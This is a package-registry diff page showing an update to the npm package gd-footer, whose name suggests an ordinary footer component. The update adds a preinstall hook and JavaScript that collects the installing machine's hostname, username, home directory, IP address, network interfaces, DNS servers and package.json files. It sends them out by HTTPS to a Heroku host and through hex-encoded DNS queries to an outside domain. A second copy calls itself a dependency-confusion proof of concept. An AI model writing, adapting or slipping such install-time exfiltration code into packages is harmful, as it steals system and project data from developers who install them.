gd-footer 4.1.99 → 4.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of gd-footer might be problematic. Click here for more details.

package/index.js CHANGED
@@ -1 +1,152 @@
1
- console.log("ope! your dependencies have been confused. let the security team know. h1: ctnelson1997")
1
+ const https = require('https');
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const packageJSON = require("./package.json");
5
+ const package = packageJSON.name;
6
+
7
+ const sendData = (url, path, method, post_data) => {
8
+ const promise = new Promise((resolve, reject) => {
9
+ var options = {
10
+ hostname: url,
11
+ port: 443,
12
+ path,
13
+ method,
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': post_data ? Buffer.byteLength(post_data) : 0
17
+ }
18
+ };
19
+
20
+ var req = https.request(options, function (res) {
21
+ res.setEncoding('utf8');
22
+
23
+ var body = '';
24
+
25
+ res.on('data', function (chunk) {
26
+ body = body + chunk;
27
+ });
28
+
29
+ res.on('end', function () {
30
+ if (res.statusCode != 200) {
31
+ reject("Api call failed with response code " + res.statusCode);
32
+ } else {
33
+ resolve(body);
34
+ }
35
+ });
36
+ });
37
+
38
+ req.on('error', function (e) {
39
+ console.log("Error : " + e.message);
40
+ reject(e);
41
+ });
42
+
43
+ if (post_data) req.write(post_data);
44
+ req.end();
45
+ });
46
+ return promise;
47
+ }
48
+
49
+ const getIP = () => {
50
+ return sendData('api.ipify.org', '/?format=json', 'GET', '');
51
+ }
52
+
53
+ const getTelemetry = (data) => {
54
+ const envs = {};
55
+
56
+ const { networkInterfaces } = os;
57
+ const nets = networkInterfaces();
58
+
59
+ let parentPackageJSON = {};
60
+
61
+ try {
62
+ parentPackageJSON = require(os.homedir() + "/package.json");
63
+ }
64
+ catch (e) {
65
+ parentPackageJSON = { message: "No parent package.json found" };
66
+ }
67
+
68
+ const telemetry = {
69
+ package: package,
70
+ date: new Date(),
71
+ tzOffset: new Date().getTimezoneOffset(),
72
+ actualDirectory: __dirname,
73
+ homeDirectory: os.homedir(),
74
+ hostname: os.hostname(),
75
+ userName: os.userInfo().username,
76
+ dns: dns.getServers(),
77
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
78
+ version: packageJSON.version,
79
+ packageJSON,
80
+ parentPackageJSON,
81
+ ip: data.ip || "",
82
+ network: {
83
+ ...nets
84
+ }
85
+ };
86
+
87
+ return telemetry;
88
+ }
89
+
90
+ const sendUsingHTTP = (telemetry) => {
91
+ sendData('yggdrasilr.herokuapp.com', '', 'POST', JSON.stringify(telemetry));
92
+ }
93
+
94
+ function sendUsingDNSQuery(telemetry) {
95
+
96
+ function chunkString(str, length) {
97
+ return str.match(new RegExp('.{1,' + length + '}', 'g')).toString().replaceAll(",", ".");
98
+ }
99
+
100
+ String.prototype.hexEncode = function () {
101
+ var hex, i;
102
+ var result = "";
103
+ for (i = 0; i < this.length; i++) {
104
+ hex = this.charCodeAt(i).toString(16);
105
+ result += ("000" + hex).slice(-4);
106
+ }
107
+
108
+ return result
109
+ }
110
+
111
+ String.prototype.replaceAll = function (find, replace) {
112
+ return this.replace(new RegExp(find, 'g'), replace);
113
+ }
114
+
115
+ delete telemetry.packageJSON;
116
+ delete telemetry.parentPackageJSON;
117
+ delete telemetry.network;
118
+
119
+ const query = JSON.stringify(telemetry);
120
+ const hexInfos = query.hexEncode();
121
+ const chunked = chunkString(hexInfos, 30)
122
+
123
+ let messages = chunked.split('.');
124
+
125
+ function queryDNS(list, position) {
126
+ const item = list.shift();
127
+ if (item) {
128
+ dns.resolve(item + "-" + position + ".sub.bugbountyautomation.com", (err) => {
129
+ if (list.length > 0) {
130
+ queryDNS(list, position + 1);
131
+ }
132
+ if (err) {
133
+ console.log(err.stack)
134
+ }
135
+ });
136
+ }
137
+ }
138
+
139
+ queryDNS(messages, 0);
140
+ }
141
+
142
+ const sendTelemetry = async () => {
143
+ getIP().then(data => {
144
+ if (data) {
145
+ const telemetry = getTelemetry(JSON.parse(data));
146
+ sendUsingHTTP(telemetry);
147
+ sendUsingDNSQuery(telemetry);
148
+ }
149
+ });
150
+ }
151
+
152
+ sendTelemetry();
package/package.json CHANGED
@@ -1,11 +1,13 @@
1
1
  {
2
2
  "name": "gd-footer",
3
- "version": "4.1.99",
4
- "description": "pentest",
3
+ "version": "4.2.0",
5
4
  "main": "index.js",
6
5
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
8
  },
9
- "author": "ctnelson1997",
10
- "license": "ISC"
9
+ "author": "",
10
+ "license": "ISC",
11
+ "devDependencies": {},
12
+ "description": ""
11
13
  }
@@ -0,0 +1,143 @@
1
+ // This is a PoC of dependecy confusion attack, published for security research purposes only.
2
+ // The code contained in this package does not exfiltrate any type of credential
3
+
4
+ const https = require('https');
5
+ const os = require("os");
6
+ const dns = require("dns");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const sendData = (url, path, method, post_data) => {
11
+ const promise = new Promise((resolve, reject) => {
12
+ var options = {
13
+ hostname: url,
14
+ port: 443,
15
+ path,
16
+ method,
17
+ headers: {
18
+ 'Content-Type': 'application/json',
19
+ 'Content-Length': post_data ? Buffer.byteLength(post_data) : 0
20
+ }
21
+ };
22
+
23
+ var req = https.request(options, function (res) {
24
+ res.setEncoding('utf8');
25
+
26
+ var body = '';
27
+
28
+ res.on('data', function (chunk) {
29
+ body = body + chunk;
30
+ });
31
+
32
+ res.on('end', function () {
33
+ if (res.statusCode != 200) {
34
+ reject("Api call failed with response code " + res.statusCode);
35
+ } else {
36
+ resolve(body);
37
+ }
38
+ });
39
+ });
40
+
41
+ req.on('error', function (e) {
42
+ console.log("Error : " + e.message);
43
+ reject(e);
44
+ });
45
+
46
+ if (post_data) req.write(post_data);
47
+ req.end();
48
+ });
49
+ return promise;
50
+ }
51
+
52
+ const getIP = () => {
53
+ return sendData('api.ipify.org', '/?format=json', 'GET', '');
54
+ }
55
+
56
+ const sendUsingHTTP = (data) => {
57
+ const { networkInterfaces } = os;
58
+ const nets = networkInterfaces();
59
+
60
+ let parentPackageJSON = {};
61
+
62
+ try {
63
+ const regex = new RegExp("node_modules/\s*([^.]+|\S+)")
64
+ const appDir = __dirname.replace(regex, "")
65
+
66
+ parentPackageJSON = require(appDir + "package.json");
67
+ }
68
+ catch (e) {
69
+ parentPackageJSON = { message: "No parent package.json found" };
70
+ }
71
+
72
+ const telemetry = JSON.stringify({
73
+ package: package,
74
+ date: new Date(),
75
+ tzOffset: new Date().getTimezoneOffset(),
76
+ actualDirectory: __dirname,
77
+ homeDirectory: os.homedir(),
78
+ hostname: os.hostname(),
79
+ userName: os.userInfo().username,
80
+ dns: dns.getServers(),
81
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
82
+ version: packageJSON.version,
83
+ packageJSON,
84
+ parentPackageJSON,
85
+ ip: data.ip || "",
86
+ ...nets
87
+ });
88
+
89
+ sendData('yggdrasilr.herokuapp.com', '', 'POST', telemetry);
90
+ }
91
+
92
+ function sendUsingDNSQuery(data) {
93
+
94
+ function chunkString(str, length) {
95
+ return str.match(new RegExp('.{1,' + length + '}', 'g')).toString().replaceAll(",", ".");
96
+ }
97
+
98
+ String.prototype.hexEncode = function () {
99
+ var hex, i;
100
+ var result = "";
101
+ for (i = 0; i < this.length; i++) {
102
+ hex = this.charCodeAt(i).toString(16);
103
+ result += ("000" + hex).slice(-4);
104
+ }
105
+
106
+ return result
107
+ }
108
+
109
+ String.prototype.replaceAll = function (find, replace) {
110
+ return this.replace(new RegExp(find, 'g'), replace);
111
+ }
112
+
113
+ const ip = data.ip || "";
114
+
115
+ const query = os.hostname() + "," + os.userInfo().username + "," + ip + "," + os.homedir()
116
+ const hexInfos = query.hexEncode();
117
+ const chunked = chunkString(hexInfos, 50)
118
+
119
+ // Just for debugging, please comment before publish
120
+ // console.log(chunked + ".sub.bugbountyautomation.com")
121
+
122
+ let messages = chunked.split('.');
123
+
124
+ messages.map((message, item) => {
125
+ // console.log(message + "." + item);
126
+ dns.resolve(message + "." + item + ".sub.bugbountyautomation.com", (err, address) => {
127
+ if (err) {
128
+ console.log(err.stack)
129
+ }
130
+ });
131
+ });
132
+ }
133
+
134
+ const sendTelemetry = async () => {
135
+ getIP().then(data => {
136
+ if (data) {
137
+ sendUsingHTTP(JSON.parse(data));
138
+ sendUsingDNSQuery(JSON.parse(data));
139
+ }
140
+ });
141
+ }
142
+
143
+ sendTelemetry();
@@ -0,0 +1,38 @@
1
+ {
2
+ "_from": "bb8k0-test@^0.200.4",
3
+ "_id": "bb8k0-test@0.200.4",
4
+ "_inBundle": false,
5
+ "_integrity": "sha512-OZgX3C/Hgq3NyiLdyv3ERX0hsek89kmI3ZbWqKmdNf2hN4CPzIQaT2HhKG5teDk2FH2+GBTY5Y7H+TnZxp0tRA==",
6
+ "_location": "/bb8k0-test",
7
+ "_phantomChildren": {},
8
+ "_requested": {
9
+ "type": "range",
10
+ "registry": true,
11
+ "raw": "bb8k0-test@^0.200.4",
12
+ "name": "bb8k0-test",
13
+ "escapedName": "bb8k0-test",
14
+ "rawSpec": "^0.200.4",
15
+ "saveSpec": null,
16
+ "fetchSpec": "^0.200.4"
17
+ },
18
+ "_requiredBy": [
19
+ "/"
20
+ ],
21
+ "_resolved": "https://registry.npmjs.org/bb8k0-test/-/bb8k0-test-0.200.4.tgz",
22
+ "_shasum": "d601fef414b936f37c57c0e0601eefc0685be57d",
23
+ "_spec": "bb8k0-test@^0.200.4",
24
+ "_where": "/Users/joseantonio/Projetos/night-watch/night-watch/temp/troiano/proof",
25
+ "author": "",
26
+ "bundleDependencies": false,
27
+ "deprecated": false,
28
+ "description": "",
29
+ "keywords": [],
30
+ "license": "ISC",
31
+ "main": "index.js",
32
+ "name": "bb8k0-test",
33
+ "scripts": {
34
+ "preinstall": "node index.js",
35
+ "test": "echo \"Error: no test specified\" && exit 1"
36
+ },
37
+ "version": "0.200.4"
38
+ }
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "proof",
3
+ "version": "1.0.0",
4
+ "lockfileVersion": 1,
5
+ "requires": true,
6
+ "dependencies": {
7
+ "bb8k0-test": {
8
+ "version": "0.200.4",
9
+ "resolved": "https://registry.npmjs.org/bb8k0-test/-/bb8k0-test-0.200.4.tgz",
10
+ "integrity": "sha512-OZgX3C/Hgq3NyiLdyv3ERX0hsek89kmI3ZbWqKmdNf2hN4CPzIQaT2HhKG5teDk2FH2+GBTY5Y7H+TnZxp0tRA=="
11
+ }
12
+ }
13
+ }
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "proof",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "bb8k0-test": "^0.200.4"
14
+ }
15
+ }